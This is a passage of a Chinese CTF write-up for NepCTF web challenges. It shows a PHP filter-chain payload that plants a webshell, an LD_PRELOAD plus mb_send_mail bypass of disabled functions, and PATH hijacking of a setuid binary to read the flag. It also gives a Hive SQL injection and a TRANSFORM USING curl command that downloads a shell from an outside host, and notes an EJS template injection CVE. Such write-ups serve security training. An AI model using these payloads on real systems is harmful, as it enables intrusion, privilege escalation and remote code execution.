ISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/tmp/resources/2

然后用蚁剑连接,密码是 0

上去后发现禁用函数+openbasedir 限制,甚至禁用了 file_get_contents。需要绕过一下,PHP 版本不高,可以用下面这个方法列出根目录

1
fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec
1
2
3
4
5
$c = 'glob:///*';
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString()."\n");
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bin
boot
clean.sh
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
showmsg
src.c
srv
sys
tmp
usr
var

但是这个方法只能列出文件,不能读文件。现在需要绕过禁用函数执行命令,常用的mail,error_log 被禁了,但是 putenv 没禁。比赛的时候卡了一会儿,在 phpinfo 里面发现开了 mbstring 拓展,同时 mb_send_mail 没有被禁

./assets/2.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = 'http://nepctf.1cepeak.cn:31392/jump.php?link=php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/tmp/resources/2'

php = """
$so = $_FILES['file']['tmp_name'];

echo $so;

$cmd = '/showmsg > /tmp/x';

putenv("EVIL_CMDLINE=" . $cmd);

putenv("LD_PRELOAD=" . $so);

mb_send_mail("", "", "", "");


"""

data = {
    '0': php
}

files = {
    'file': open('bypass_disablefunc_x64.so', 'rb')
}

r = requests.post(url, files=files, data=data)

print(r.text)

./assets/3.png

flag 没权限读,看了眼根目录,应该是打 showmsg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
total 100
drwxr-xr-x    1 root root 4096 Aug 13 06:56 .
drwxr-xr-x    1 root root 4096 Aug 13 06:56 ..
drwxr-xr-x    1 root root 4096 Jul 31 09:56 bin
drwxr-xr-x    2 root root 4096 Oct 20  2018 boot
-rwx------    1 root root   37 Jul 30 07:31 clean.sh
drwxr-xr-x    5 root root  360 Aug 13 06:56 dev
drwxr-xr-x    1 root root 4096 Aug 13 06:56 etc
-rwx------    1 root root   45 Aug 13 06:56 flag
drwxr-xr-x    2 root root 4096 Oct 20  2018 home
drwxr-xr-x    1 root root 4096 Jan 22  2019 lib
drwxr-xr-x    2 root root 4096 Jan 22  2019 lib64
drwxr-xr-x    2 root root 4096 Jan 22  2019 media
drwxr-xr-x    2 root root 4096 Jan 22  2019 mnt
drwxr-xr-x    2 root root 4096 Jan 22  2019 opt
dr-xr-xr-x 1752 root root    0 Aug 13 06:56 proc
drwx------    1 root root 4096 Jul 31 09:56 root
drwxr-xr-x    1 root root 4096 Aug 13 06:56 run
drwxr-xr-x    1 root root 4096 Jan 22  2019 sbin
-rwsr-sr-x    1 root root 8872 Jul 29 07:50 showmsg
-rw-rw-r--    1 root root  375 Jul 29 07:49 src.c
drwxr-xr-x    2 root root 4096 Jan 22  2019 srv
dr-xr-xr-x   13 root root    0 Aug 13 06:56 sys
drwxrwxrwt    1 root root 4096 Aug 13 07:43 tmp
drwxr-xr-x    1 root root 4096 Jul 31 09:56 usr
drwxr-xr-x    1 root root 4096 Jan 22  2019 var

src.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp) {
        gid_t gid;
        uid_t uid;
        gid = getegid();
        uid = geteuid();

        setresgid(gid, gid, gid);
        setresuid(uid, uid, uid);
        
        printf("Thank you! This is the final step.   --From lx56\n");
        return system("cat /tmp/resources/4.txt");
}

system 里面的 cat 是相对路径,我们可以设置 PATH=/tmp,然后创建 /tmp/cat

1
2
#!/bin/sh
/bin/cat /flag
1
2
3
4
5
www-data@push-e621f781f1954b12:/tmp$ PATH=/tmp /showmsg
PATH=/tmp /showmsg
NepCTF{62ba146f-4c4c-4854-8dfb-71ef70fa0b5e}
Thank you! This is the final step.   --From lx56
www-data@push-e621f781f1954b12:/tmp$ 

打完之后感觉也不是预期解,hint.ini 没用上

这个题是黑盒的,上去把题目环境打包了 下载

hive it

题目附件 下载

搜索 hive 现有漏洞,发现 CVE-2018-1282 符合题目利用条件。没有现成的 exp , 看看 commit history 这个包是怎么修复的

./assets/image-20231216085710064.png

注入读 token ,名字猜了两个半小时(,最后发现 real_token 被过滤了,大小写绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import requests

url = 'http://106.75.63.100:8080/tokenCheck'

data = {
    'name': "true_token\\' union select token from reaL_token--",
    'sinkType': '2'
}

r = requests.post(url, json=data)

print(r.status_code)
print(r.text) # hit_si11y_Drunkbaby

拿到 token 就可以执行任意查询语句了,hive 可以使用 transform 配合 using 执行命令

1
select transform(token) USING 'curl http://xxx.xxx.xxx.xxx:8000/shell -o /tmp/shell' from fake_token

NepCTF{h4ck_f0r_fun_Em4non}

Post Crad For You

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");

const express = require('express')
const app = express()
const port = 3000

templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);

function sleep(milliSeconds){ 
    var StartTime =new Date().getTime(); 
    let i = 0;
    while (new Date().getTime() <StartTime+milliSeconds);

}

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.get('/create', function(req, res) {
  let uuid;
  let name = req.query.name ?? '';
  let address = req.query.address ?? '';
  let message = req.query.message ?? '';
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`${templateDir}/${uuid}.ejs`))

  try {
  if (name != '' && address != '' && message != '') {
    let source = ["source", "source1", "source2", "source3"].sort(function(){
      return 0.5 - Math.random();
    })
    fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
      fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
      sleep(2000);
    })
  } else {
    res.status(500).send("Params `name` or `address` or `message` empty");
    return;
  }
  } catch(err) {
    res.status(500).send("Failed to write file");
    return;
  }
  
  return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});

app.get('/page', (req,res) => {
  let id = req.query.pageid
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {
    res.status(404).send("Sorry, no such id")
    return;
  }
    res.render(`${templateDir}/${id}.ejs`, req.query);
})

app.listen(port, () => {
  console.log(`App listening on port ${port}`)
})

CVE-2022-29078

https://blog.huli.tw/2023/06/22/ejs-render-vulnerability-ctf/

https://eslam.io/posts/ejs-server-side-template-injection-rce/